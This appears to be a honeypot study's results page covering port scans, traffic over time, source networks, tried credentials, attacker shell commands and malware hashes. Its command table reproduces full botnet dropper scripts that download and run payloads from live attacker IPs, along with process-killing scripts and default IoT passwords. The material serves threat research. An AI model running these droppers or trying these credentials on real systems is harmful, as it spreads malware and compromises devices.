Port ranking #
The main table of the experiment: which ports attackers were most interested in. Sort by any column, filter by server, and search for a specific port, range or service name. Every row can be linked to, for example #port-3389.
| Port | Protocol | Typical service | Server | Attempts | Unique IPs | Share |
|---|---|---|---|---|---|---|
| 5901 | tcp | VNC | both servers | 883,864 | 801 | 16.1% |
| 3389 | tcp | RDP | both servers | 734,148 | 2,425 | 13.4% |
| 3389 | tcp | RDP | srv4 | 726,599 | 1,515 | 18.1% |
| 5900 | tcp | VNC | both servers | 707,172 | 1,343 | 12.9% |
| 445 | tcp | SMB | both servers | 459,930 | 6,055 | 8.4% |
| 5901 | tcp | VNC | srv4 | 449,586 | 598 | 11.2% |
| 5901 | tcp | VNC | srv3 | 434,278 | 655 | 29.7% |
| 445 | tcp | SMB | srv3 | 415,953 | 5,570 | 28.4% |
| 5900 | tcp | VNC | srv4 | 360,884 | 1,098 | 9.0% |
| 5900 | tcp | VNC | srv3 | 346,288 | 1,176 | 23.7% |
- Time window
- 2026-08-21 – 2026-09-16
- Source data
- honeypot-ports-aggregated-20260922.csv
- Script
- to be published
- Format
- field documentation
Traffic over time #
Event volume over time, split into campaigns and baseline noise, with the number of unique IP addresses below it. According to the agents’ journals, single campaigns could produce most of a day’s traffic. Without the split the chart would mislead: a campaign would look like a trend and its end like a collection outage.
Exactly how campaigns are separated from baseline noise is defined by the script listed below the chart.
Events
- Baseline noise
- Campaigns
Unique IP addresses
Distinct source IP addresses on each day.
- srv3
- srv4
Unique IP addresses cannot be summed across servers – the same address may have attacked both. Each server therefore gets a line of its own.
Dimmed columns and hollow markers are incomplete periods: the collection window opens and closes at 12:00 UTC, and a period cut short by the chosen range is shorter than the rest. Don’t compare them with their neighbours.
Show values as a table
| Day (UTC) | Events | Campaigns | Baseline noise | Unique IPs srv3 | Unique IPs srv4 |
|---|---|---|---|---|---|
| 2026-08-22 · incomplete | 82,303 | 59,843 | 22,460 | 547 | 1,870 |
| 2026-08-23 | 79,276 | 34,177 | 45,099 | 1,292 | 3,529 |
| 2026-08-24 | 48,928 | 10,775 | 38,153 | 1,429 | 3,309 |
| 2026-08-25 | 69,902 | 29,825 | 40,077 | 1,552 | 3,824 |
| 2026-08-26 | 68,792 | 28,709 | 40,083 | 1,552 | 3,775 |
| 2026-08-27 | 204,306 | 161,642 | 42,664 | 1,585 | 4,301 |
| 2026-08-28 | 201,823 | 159,044 | 42,779 | 1,364 | 4,083 |
| 2026-08-29 | 206,275 | 171,641 | 34,634 | 1,029 | 3,853 |
| 2026-08-30 | 185,689 | 148,263 | 37,426 | 975 | 4,176 |
| 2026-08-31 | 539,919 | 504,248 | 35,671 | 1,488 | 4,183 |
| 2026-09-01 | 720,200 | 666,265 | 53,935 | 1,573 | 4,500 |
| 2026-09-02 | 275,758 | 209,955 | 65,803 | 1,859 | 4,281 |
| 2026-09-03 | 274,675 | 227,972 | 46,703 | 1,621 | 4,343 |
| 2026-09-04 | 219,422 | 167,450 | 51,972 | 1,628 | 4,087 |
| 2026-09-05 | 154,023 | 95,631 | 58,392 | 1,535 | 4,117 |
| 2026-09-06 | 131,807 | 46,399 | 85,408 | 1,637 | 4,349 |
| 2026-09-07 | 184,403 | 94,877 | 89,526 | 1,494 | 4,402 |
| 2026-09-08 | 169,747 | 59,781 | 109,966 | 1,758 | 4,609 |
| 2026-09-09 | 177,572 | 48,861 | 128,711 | 1,733 | 4,671 |
| 2026-09-10 | 193,394 | 60,866 | 132,528 | 1,818 | 5,095 |
| 2026-09-11 | 210,418 | 63,267 | 147,151 | 1,747 | 5,402 |
| 2026-09-12 | 254,827 | 82,831 | 171,996 | 1,859 | 5,450 |
| 2026-09-13 | 236,911 | 105,016 | 131,895 | 1,854 | 5,434 |
| 2026-09-14 | 213,640 | 83,835 | 129,805 | 1,994 | 5,516 |
| 2026-09-15 | 272,074 | 159,141 | 112,933 | 1,884 | 5,303 |
| 2026-09-16 · incomplete | 101,115 | 28,713 | 72,402 | 1,386 | 3,449 |
- Time window
- 2026-08-21 – 2026-09-16
- Source data
- timeline-aggregated not available yet
- Script
- to be published
- Format
- field documentation
Where the connections came from #
The origin of the connections. A country is the one the IP address is registered in, not where the attacker actually sits – behind an address there may be a rented server or a compromised machine anywhere in the world. The exact numbers are in the tables below.
The map is drawn by Datawrapper; loading it connects the browser to their servers. Open the map on its own
Geography and networks #
Where traffic came from according to source IP geolocation, and which autonomous systems (ASNs) the addresses belong to. Geolocation shows where an address is registered, not where the attacker sits.
Top countries
Largest networks (ASN)
| ASN | Network | Events | Unique IPs | Share |
|---|---|---|---|---|
| 51167 | CONTABO DE |
1,036,962 | 168 | 18.9% |
| 22295 | ADVIN US |
924,717 | 7 | 16.9% |
| 36352 | AS-COLOCROSSING US |
388,883 | 131 | 7.1% |
| 212238 | CDNEXT GB |
385,498 | 98 | 7.0% |
| 396982 | GOOGLE-CLOUD-PLATFORM US |
171,392 | 3,170 | 3.1% |
| 14061 | DIGITALOCEAN-ASN US |
138,119 | 2,732 | 2.5% |
| 45090 | TENCENT-NET-AP Shenzhen Tencent Computer Systems Company Limited CN |
133,244 | 114 | 2.4% |
| 209334 | MODAT-01 NL |
114,475 | 93 | 2.1% |
| 197170 | TECHTIES-AS - TechTies Inc. SC |
110,821 | 185 | 2.0% |
| 45102 | ALIBABA-CN-NET Alibaba US Technology Co., Ltd. CN |
101,319 | 303 | 1.8% |
Show values as a table
| Country | Events | Unique IPs | Share |
|---|---|---|---|
| US | 2,057,660 | 13,624 | 37.6% |
| DE | 1,230,744 | 1,111 | 22.5% |
| CN | 556,778 | 5,671 | 10.2% |
| GB | 486,870 | 2,870 | 8.9% |
| SC | 184,746 | 319 | 3.4% |
| NL | 120,671 | 174 | 2.2% |
| TN | 96,601 | 94 | 1.8% |
| VN | 64,512 | 644 | 1.2% |
| MX | 59,561 | 281 | 1.1% |
| IN | 49,705 | 850 | 0.9% |
- Time window
- 2026-08-21 – 2026-09-16
- Source data
- geo-aggregated not available yet
- Script
- to be published
- Format
- field documentation
Credentials #
Username and password combinations attackers tried, and the most-tried usernames. Values are shown exactly as they arrived.
Most-tried usernames
Most common combinations
| Username | Password | Attempts | Unique IPs |
|---|---|---|---|
root |
(empty) | 3,084 | 219 |
admin |
admin |
2,649 | 849 |
enable\x00 |
linuxshell\x00 |
1,955 | 24 |
admin |
(empty) | 1,939 | 69 |
root |
xc3511 |
1,591 | 76 |
root |
admin |
1,529 | 160 |
root |
vizxv |
1,523 | 120 |
root |
123456 |
1,207 | 142 |
support |
support |
990 | 129 |
enable\x00 |
system\x00 |
983 | 27 |
- Time window
- 2026-08-21 – 2026-09-16
- Source data
- credentials-aggregated not available yet
- Script
- to be published
- Format
- field documentation
What happened after login #
Commands attackers typed into the emulated shell, ordered by frequency. This is attacker input, not code that actually ran on the server.
| Command | Count | Sessions |
|---|---|---|
!v54! |
6 | 3 |
";/bin/sh;" |
3 | 3 |
#!/bin/bash
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://94.154.43.200/m-i.p-s.Sakura; chmod +x m-i.p-s.Sakura; ./m-i.p-s.Sakura; rm -rf m-i.p-s.Sakura
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://94.154.43.200/m-p.s-l.Sakura; chmod +x m-p.s-l.Sakura; ./m-p.s-l.Sakura; rm -rf m-p.s-l.Sakura
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://94.154.43.200/s-h.4-.Sakura; chmod +x s-h.4-.Sakura; ./s-h.4-.Sakura; rm -rf s-h.4-.Sakura
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://94.154.43.200/x-8.6-.Sakura; chmod +x x-8.6-.Sakura; ./x-8.6-.Sakura; rm -rf x-8.6-.Sakura
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://94.154.43.200/a-r.m-6.Sakura; chmod +x a-r.m-6.Sakura; ./a-r.m-6.Sakura; rm -rf a-r.m-6.Sakura
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://94.154.43.200/x-3.2-.Sakura; chmod +x x-3.2-.Sakura; ./x-3.2-.Sakura; rm -rf x-3.2-.Sakura
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://94.154.43.200/a-r.m-7.Sakura; chmod +x a-r.m-7.Sakura; ./a-r.m-7.Sakura; rm -rf a-r.m-7.Sakura
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://94.154.43.200/p-p.c-.Sakura; chmod +x p-p.c-.Sakura; ./p-p.c-.Sakura; rm -rf p-p.c-.Sakura
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://94.154.43.200/i-5.8-6.Sakura; chmod +x i-5.8-6.Sakura; ./i-5.8-6.Sakura; rm -rf i-5.8-6.Sakura
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://94.154.43.200/m-6.8-k.Sakura; chmod +x m-6.8-k.Sakura; ./m-6.8-k.Sakura; rm -rf m-6.8-k.Sakura
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://94.154.43.200/p-p.c-.Sakura; chmod +x p-p.c-.Sakura; ./p-p.c-.Sakura; rm -rf p-p.c-.Sakura
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://94.154.43.200/a-r.m-4.Sakura; chmod +x a-r.m-4.Sakura; ./a-r.m-4.Sakura; rm -rf a-r.m-4.Sakura
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://94.154.43.200/a-r.m-5.Sakura; chmod +x a-r.m-5.Sakura; ./a-r.m-5.Sakura; rm -rf a-r.m-5.Sakura
|
1 | 1 |
#!/bin/sh
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;
wget http://160.119.66.206/bins/net.x86_64 -O net_bot && chmod 777 net_bot && ./net_bot net.x86_64 && exit;
curl -L http://160.119.66.206/bins/net.x86_64 -o net_bot && chmod 777 net_bot && ./net_bot net.x86_64 && exit;
wget http://160.119.66.206/bins/net.x86 -O net_bot && chmod 777 net_bot && ./net_bot net.x86 && exit;
curl -L http://160.119.66.206/bins/net.x86 -o net_bot && chmod 777 net_bot && ./net_bot net.x86 && exit;
wget http://160.119.66.206/bins/net.mips -O net_bot && chmod 777 net_bot && ./net_bot net.mips && exit;
curl -L http://160.119.66.206/bins/net.mips -o net_bot && chmod 777 net_bot && ./net_bot net.mips && exit;
wget http://160.119.66.206/bins/net.mpsl -O net_bot && chmod 777 net_bot && ./net_bot net.mpsl && exit;
curl -L http://160.119.66.206/bins/net.mpsl -o net_bot && chmod 777 net_bot && ./net_bot net.mpsl && exit;
wget http://160.119.66.206/bins/net.arm -O net_bot && chmod 777 net_bot && ./net_bot net.arm && exit;
curl -L http://160.119.66.206/bins/net.arm -o net_bot && chmod 777 net_bot && ./net_bot net.arm && exit;
wget http://160.119.66.206/bins/net.arm5 -O net_bot && chmod 777 net_bot && ./net_bot net.arm5 && exit;
curl -L http://160.119.66.206/bins/net.arm5 -o net_bot && chmod 777 net_bot && ./net_bot net.arm5 && exit;
wget http://160.119.66.206/bins/net.arm6 -O net_bot && chmod 777 net_bot && ./net_bot net.arm6 && exit;
curl -L http://160.119.66.206/bins/net.arm6 -o net_bot && chmod 777 net_bot && ./net_bot net.arm6 && exit;
wget http://160.119.66.206/bins/net.arm7 -O net_bot && chmod 777 net_bot && ./net_bot net.arm7 && exit;
curl -L http://160.119.66.206/bins/net.arm7 -o net_bot && chmod 777 net_bot && ./net_bot net.arm7 && exit;
wget http://160.119.66.206/bins/net.ppc -O net_bot && chmod 777 net_bot && ./net_bot net.ppc && exit;
curl -L http://160.119.66.206/bins/net.ppc -o net_bot && chmod 777 net_bot && ./net_bot net.ppc && exit;
wget http://160.119.66.206/bins/net.m68k -O net_bot && chmod 777 net_bot && ./net_bot net.m68k && exit;
curl -L http://160.119.66.206/bins/net.m68k -o net_bot && chmod 777 net_bot && ./net_bot net.m68k && exit;
wget http://160.119.66.206/bins/net.sh4 -O net_bot && chmod 777 net_bot && ./net_bot net.sh4 && exit;
curl -L http://160.119.66.206/bins/net.sh4 -o net_bot && chmod 777 net_bot && ./net_bot net.sh4 && exit;
wget http://160.119.66.206/bins/net.spc -O net_bot && chmod 777 net_bot && ./net_bot net.spc && exit;
curl -L http://160.119.66.206/bins/net.spc -o net_bot && chmod 777 net_bot && ./net_bot net.spc && exit;
wget http://160.119.66.206/bins/net.arc -O net_bot && chmod 777 net_bot && ./net_bot net.arc && exit;
curl -L http://160.119.66.206/bins/net.arc -o net_bot && chmod 777 net_bot && ./net_bot net.arc && exit;
wget http://160.119.66.206/bins/net.i686 -O net_bot && chmod 777 net_bot && ./net_bot net.i686 && exit;
curl -L http://160.119.66.206/bins/net.i686 -o net_bot && chmod 777 net_bot && ./net_bot net.i686 && exit;
wget http://160.119.66.206/bins/net.i486 -O net_bot && chmod 777 net_bot && ./net_bot net.i486 && exit;
curl -L http://160.119.66.206/bins/net.i486 -o net_bot && chmod 777 net_bot && ./net_bot net.i486 && exit;
rm -rf net_bot net_http.sh
|
12 | 12 |
#!/bin/sh
cd /tmp || cd /var || cd /dev/shm || cd /
rm -f daredevil.*
wget http://176.65.139.202/daredevil.armv7l || curl -o daredevil.armv7l http://176.65.139.202/daredevil.armv7l
wget http://176.65.139.202/daredevil.mips || curl -o daredevil.mips http://176.65.139.202/daredevil.mips
wget http://176.65.139.202/daredevil.mipsel || curl -o daredevil.mipsel http://176.65.139.202/daredevil.mipsel
wget http://176.65.139.202/daredevil.armv5l || curl -o daredevil.armv5l http://176.65.139.202/daredevil.armv5l
wget http://176.65.139.202/daredevil.armv6l || curl -o daredevil.armv6l http://176.65.139.202/daredevil.armv6l
wget http://176.65.139.202/daredevil.x86_64 || curl -o daredevil.x86_64 http://176.65.139.202/daredevil.x86_64
wget http://176.65.139.202/daredevil.armv4l || curl -o daredevil.armv4l http://176.65.139.202/daredevil.armv4l
wget http://176.65.139.202/daredevil.arc || curl -o daredevil.arc http://176.65.139.202/daredevil.arc
wget http://176.65.139.202/daredevil.i486 || curl -o daredevil.i486 http://176.65.139.202/daredevil.i486
wget http://176.65.139.202/daredevil.m68k || curl -o daredevil.m68k http://176.65.139.202/daredevil.m68k
wget http://176.65.139.202/daredevil.mipsrouter || curl -o daredevil.mipsrouter http://176.65.139.202/daredevil.mipsrouter
wget http://176.65.139.202/daredevil.powerpc || curl -o daredevil.powerpc http://176.65.139.202/daredevil.powerpc
wget http://176.65.139.202/daredevil.sh4 || curl -o daredevil.sh4 http://176.65.139.202/daredevil.sh4
wget http://176.65.139.202/daredevil.sparc || curl -o daredevil.sparc http://176.65.139.202/daredevil.sparc
chmod 777 daredevil.*
./daredevil.armv7l selfrep.telnet
./daredevil.mips selfrep.telnet
./daredevil.mipsel selfrep.telnet
./daredevil.armv5l selfrep.telnet
./daredevil.armv6l selfrep.telnet
./daredevil.x86_64 selfrep.telnet
./daredevil.armv4l selfrep.telnet
./daredevil.arc selfrep.telnet
./daredevil.i486 selfrep.telnet
./daredevil.m68k selfrep.telnet
./daredevil.mipsrouter selfrep.telnet
./daredevil.powerpc selfrep.telnet
./daredevil.sh4 selfrep.telnet
./daredevil.sparc selfrep.telnet |
2 | 2 |
#!/bin/sh
for pid in /proc/[0-9]*; do
[ "$pid" = "/proc/1" ] && continue
[ "$pid" = "/proc/2" ] && continue
case "$(ls -l $pid/exe || readlink $pid/exe || busybox readlink $pid/exe)" in
*"(deleted)"*|*"/."*|*mirai*|*mozi*|*hajime*|*sora*|*reaper*|*gafgyt*|*bashlite*|*muhstik*|*selfrep*|*loligang*|*yakuza*|*qbot*|*zbot*|*tokyyo*|*kotori*|*owari*|*demon*|*vpnfilter*|*dvrHelper*|*dvrLocker*|*arm*|*mips*|*mpsl*|*mipsel*|*aarch64*|*x86*) kill -9 ${pid##*/} ;;
esac
done
|
30 | 3 |
#!/bin/sh
for proc_dir in /proc/*B |
10 | 1 |
#!/bin/sh
for proc_dir in /proc/*; do
pid=${proc_dir##*/}
result=$(ls -l "/proc/$pid/exe" 2> /dev/null)
if [ "$result" != "${result%(deleted)}" ]; then
kill -9 "$pid"
fi
done
|
130 | 13 |
#!/bin/sh
wget http://74.81.40.155/iran.x86_64 -O /tmp/iran.x86_64 || curl http://74.81.40.155/iran.x86_64 -o /tmp/iran.x86_64; chmod 777 /tmp/iran.x86_64; /tmp/iran.x86_64 default;
wget http://74.81.40.155/iran.aarch64 -O /tmp/iran.aarch64 || curl http://74.81.40.155/iran.aarch64 -o /tmp/iran.aarch64; chmod 777 /tmp/iran.aarch64; /tmp/iran.aarch64 default;
wget http://74.81.40.155/iran.m68k -O /tmp/iran.m68k || curl http://74.81.40.155/iran.m68k -o /tmp/iran.m68k; chmod 777 /tmp/iran.m68k; /tmp/iran.m68k default;
wget http://74.81.40.155/iran.mips -O /tmp/iran.mips || curl http://74.81.40.155/iran.mips -o /tmp/iran.mips; chmod 777 /tmp/iran.mips; /tmp/iran.mips default;
wget http://74.81.40.155/iran.mipsel -O /tmp/iran.mipsel || curl http://74.81.40.155/iran.mipsel -o /tmp/iran.mipsel; chmod 777 /tmp/iran.mipsel; /tmp/iran.mipsel default;
wget http://74.81.40.155/iran.powerpc -O /tmp/iran.powerpc || curl http://74.81.40.155/iran.powerpc -o /tmp/iran.powerpc; chmod 777 /tmp/iran.powerpc; /tmp/iran.powerpc default;
wget http://74.81.40.155/iran.sparc -O /tmp/iran.sparc || curl http://74.81.40.155/iran.sparc -o /tmp/iran.sparc; chmod 777 /tmp/iran.sparc; /tmp/iran.sparc default;
wget http://74.81.40.155/iran.sh4 -O /tmp/iran.sh4 || curl http://74.81.40.155/iran.sh4 -o /tmp/iran.sh4; chmod 777 /tmp/iran.sh4; /tmp/iran.sh4 default;
wget http://74.81.40.155/iran.arc -O /tmp/iran.arc || curl http://74.81.40.155/iran.arc -o /tmp/iran.arc; chmod 777 /tmp/iran.arc; /tmp/iran.arc default;
wget http://74.81.40.155/iran.i486 -O /tmp/iran.i486 || curl http://74.81.40.155/iran.i486 -o /tmp/iran.i486; chmod 777 /tmp/iran.i486; /tmp/iran.i486 default;
wget http://74.81.40.155/iran.armv4l -O /tmp/iran.armv4l || curl http://74.81.40.155/iran.armv4l -o /tmp/iran.armv4l; chmod 777 /tmp/iran.armv4l; /tmp/iran.armv4l default;
wget http://74.81.40.155/iran.armv5l -O /tmp/iran.armv5l || curl http://74.81.40.155/iran.armv5l -o /tmp/iran.armv5l; chmod 777 /tmp/iran.armv5l; /tmp/iran.armv5l default;
wget http://74.81.40.155/iran.armv6l -O /tmp/iran.armv6l || curl http://74.81.40.155/iran.armv6l -o /tmp/iran.armv6l; chmod 777 /tmp/iran.armv6l; /tmp/iran.armv6l default;
|
1 | 1 |
#!/bin/sh
wget http://176.65.139.206/iran.x86_64 -O x86_64 || curl http://176.65.139.206/iran.x86_64 -o x86_64; chmod 777 x86_64; ./x86_64 catloader;
wget http://176.65.139.206/iran.aarch64 -O aarch64 || curl http://176.65.139.206/iran.aarch64 -o aarch64; chmod 777 aarch64; ./aarch64catloader;
wget http://176.65.139.206/iran.m68k -O m68k || curl http://176.65.139.206/iran.m68k -o m68k; chmod 777 m68k; ./m68k catloader;
wget http://176.65.139.206/iran.mips -O mips || curl http://176.65.139.206/iran.mips -o mips; chmod 777 mips; ./mips catloader;
wget http://176.65.139.206/iran.mipsel -O mipsel || curl http://176.65.139.206/iran.mipsel -o mipsel; chmod 777 mipsel; ./mipsel catloader;
wget http://176.65.139.206/iran.powerpc -O powerpc || curl http://176.65.139.206/iran.powerpc -o powerpc; chmod 777 powerpc; ./powerpc catloader;
wget http://176.65.139.206/iran.sparc -O sparc || curl http://176.65.139.206/iran.sparc -o sparc; chmod 777 sparc; ./sparc catloader;
wget http://176.65.139.206/iran.sh4 -O sh4 || curl http://176.65.139.206/iran.sh4 -o sh4; chmod 777 sh4; ./sh4 catloader;
wget http://176.65.139.206/iran.arc -O arc || curl http://176.65.139.206/iran.arc -o arc; chmod 777 arc; ./arc catloader;
wget http://176.65.139.206/iran.i486 -O i486 || curl http://176.65.139.206/iran.i486 -o i486; chmod 777 i486; ./i486 catloader;
wget http://176.65.139.206/iran.armv4l -O armv4l || curl http://176.65.139.206/iran.armv4l -o armv4l; chmod 777 armv4l; ./armv4l catloader;
wget http://176.65.139.206/iran.armv5l -O armv5l || curl http://176.65.139.206/iran.armv5l -o armv5l; chmod 777 armv5l; ./armv5l catloader;
wget http://176.65.139.206/iran.armv6l -O armv6l || curl http://176.65.139.206/iran.armv6l -o armv6l; chmod 777 armv6l; ./armv6l catloader;
wget http://176.65.139.206/iran.armv7l -O armv7l || curl http://176.65.139.206/iran.armv7l -o armv7l; chmod 777 armv7l; ./armv7l catloader;
|
1 | 1 |
- Time window
- 2026-08-21 – 2026-09-16
- Source data
- attacker-commands-aggregated not available yet
- Script
- to be published
- Format
- field documentation
Captured samples #
Files attackers tried to download or upload, by type and architecture.
By file type
By architecture
| SHA-256 | Type | Architecture | Size | First seen | Times seen | Look up |
|---|---|---|---|---|---|---|
| 8184a1346f25a281932f598fb19dc5840249cd9bfd933654941dc7bcf59af22e | PE | — | 5.0 MB | 2026-09-16 11:28:11 UTC | 0 | VirusTotal |
| 7b3c1cc113fdf600f96d6de41de6c0a617881efd60d3d703ca59f3551f8db903 | PE | — | 5.0 MB | 2026-09-16 11:34:52 UTC | 0 | VirusTotal |
| a0b670501f97137350131a90d8aae65623ba47e8448712ceb2dc0dd48159a4ec | PE | — | 5.0 MB | 2026-09-16 11:45:38 UTC | 0 | VirusTotal |
| 45a6da972965b7a3ae6015f8f3c6ad8812ca80cf693b3973e5e094c39746f425 | PE | — | 5.0 MB | 2026-09-16 12:20:09 UTC | 0 | VirusTotal |
| 23987c4a17a3fb37eae69a28c4245ed056a4d745f10ab810146f2b68d3de257d | PE | — | 5.0 MB | 2026-09-16 13:03:00 UTC | 0 | VirusTotal |
| bf402025410d6984ec03313648ebc2daa168b7a64497b7cc24b3978f2b5833ba | PE | — | 5.0 MB | 2026-09-16 13:45:20 UTC | 0 | VirusTotal |
| e4fef707fecc7bb97a025d97e5e6b4e4bb079fb23d59b0e50ed066b595dd79ee | PE | — | 5.0 MB | 2026-09-16 14:39:52 UTC | 0 | VirusTotal |
| bb29305bb12db2d8c8d7e79d9ee7041b8d901793ea69afe4d3e29abbd6b5cde6 | PE | — | 5.0 MB | 2026-09-16 14:50:45 UTC | 0 | VirusTotal |
| 568ad7d638d7b8cfde9d23c49918e0f4f372d273a17687413688320772666e69 | PE | — | 5.0 MB | 2026-09-16 14:57:25 UTC | 0 | VirusTotal |
| 26d6985b3ab218f229df606bd9e5c56586c18962ac67cffbe15588952ab8bd2b | PE | — | 5.0 MB | 2026-09-16 15:31:28 UTC | 0 | VirusTotal |
- Time window
- 2026-08-21 – 2026-09-16
- Source data
- samples-aggregated not available yet
- Script
- to be published
- Format
- field documentation
Server comparison #
How much traffic the larger surface brought in, and how the structure differs between the two servers.
| Metric | srv3 | srv4 | srv4 / srv3 |
|---|---|---|---|
| Connection attempts (port ranking) | 1,462,877 | 4,014,322 | 2.7× |
| Ports hit | 45 | 58,628 | 1,302.8× |
| Events (traffic over time) | 1,462,877 | 4,014,322 | 2.7× |
srv3 top ports
srv4 top ports
- Time window
- 2026-08-21 – 2026-09-16
- Source data
- honeypot-ports-aggregated-20260922.csv, timeline-aggregated not available yet
- Script
- to be published
- Format
- field documentation
Found a bug, missing data or a leak of sensitive information? Report a problem